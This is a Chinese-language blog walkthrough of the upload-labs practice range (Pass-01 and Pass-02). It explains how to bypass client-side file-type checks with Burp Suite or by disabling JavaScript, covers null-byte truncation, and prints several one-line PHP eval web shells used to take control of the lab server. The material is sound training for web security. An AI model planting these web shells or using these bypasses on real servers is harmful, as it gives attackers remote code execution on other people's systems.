前言

Web文件上传方法总结,跳转Blog:https://gryffinbit.top/2022/09/20/web%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

实验环境

docker hub靶场:https://hub.docker.com/r/c0ny1/upload-labs

腾讯云:Ubuntu Server 20.04 LTS 64bit

靶场搭建

下载

wget -c "https://github.com/c0ny1/upload-labs/archive/refs/heads/master.zip"
unzip master.zip

创建镜像

cd upload-labs/docker
docker build -t upload-labs .

创建容器

docker run -d -p 80:80 upload-labs:latest

Pass-01

知识点解析

思路: 前端JS绕过:

  • 判断是否存在js绕过漏洞:

    • 打开调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)
  • 绕过方式-删除或禁用js:

    1. 在输入框中输入about:config点击接受
    2. 在搜索框中输入javascript然后找到javascript.enabled选项双击,出现false:
    3. 可以上传了
  • 绕过方式-使用代理上传文件(burpsuite、冰蝎、蚁剑等)

    • 抓取数据包,修改filename里面的文件格式,再forward发包

攻略

检查是否存在前端JS绕过

上传png,可以成功上传

上传php,提示失败,但网络并没有发起请求

所以存在js前端绕过漏洞

绕过

  • 禁用js的方式

    1. 禁用js

    2. 上传成功

  • 采用burpsuite改包的方式

    1. 把test.php后缀改为jpg

      <?php @eval($_REQUEST['666']); ?>
      
    2. 开启burpsuite,浏览选择test.jpg,先不要点点击,开启bp的抓包功能

    3. 修改抓取到的数据包,改成php的后缀

    4. 上传成功

    5. 在服务器上查看是否有该文件

      因为是用docker搭的环境,需要进入到docker的命令行中查看。

      docker exec -it a47af352776f /bin/bash
      
      ls
      

      上传成功

    6. 访问

      关于docker文件映射的一个关系。docker启动的时候,开启了apache服务 。所以访问http://ip:80的时候,就是访问了apache的默认根目录`/var/www/html`下的文件,所以去访问上传的文件,需要访问`http://ip:80/upload/readme.php` (即在docker中的路径关系,默认/var/www/html为根目录)

    7. 蚁剑外链

      上传了ant.php,通过蚁剑去链接。

      <?php eval($_POST['ant']); ?>
      


Pass-02

知识点解析


攻略

  1. 判断是否为前端JS绕过

    上传非图片和图片文件后,网络请求发生了改变。说明处理的时候将图片发往后端进行了判断。排除是前端JS绕过

  2. 排除一些白名单绕过的方式

    另外通过源码的判断,PHP使用$_FILES实现上传,不存在00截断绕过上传限制问题。

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }
    
  3. 判断php的版本

    可以通过pass-01,上传木马,获取php版本

    <?php eval(@$_POST['a']); ?>
    

    Post注入

参考文章

https://cloud.tencent.com/developer/article/1679294

《从0到1 CTFer成长之路》(P121 web文件上传漏洞)

思路2: 00截断绕过上传限制

00截断是绕过上传限制的常见方法,在C语言中,\0是字符串的结束符,如果用户能够传入\0,就能实现截断。

00截断绕过上传限制适用的场景:后端先获取用户上传文件的文件名,如x.php\00.jpg,再根据文件名获得文件的实际后缀jpg;通过后缀的白名单校验后,最终在保存文件时发生截断,实现上传的文件为x.php

PHP的底层代码为C语言,自然存在这种问题,但实际PHP使用$_FILES实现文件上传时并不存在00截断绕过上传限制问题,因为PHP在注册$_FILES全局变量时已经产生了截断。上传文件名为x.php\00.jpg的文件,而注册到$_FILES['name']的变量值为x.php,根据该值得到的后缀为php,因此无法通过后缀的白名单校验。


版本限制:在jdk7u40以下版本存在00截断问题,7u40以后的版本,在上传、写入文件等操作中都会调用File的isInvaild()方法判断文件是否合法,即不允许文件名含有\0。如果文件不合法,将抛出异常退出流程。

评论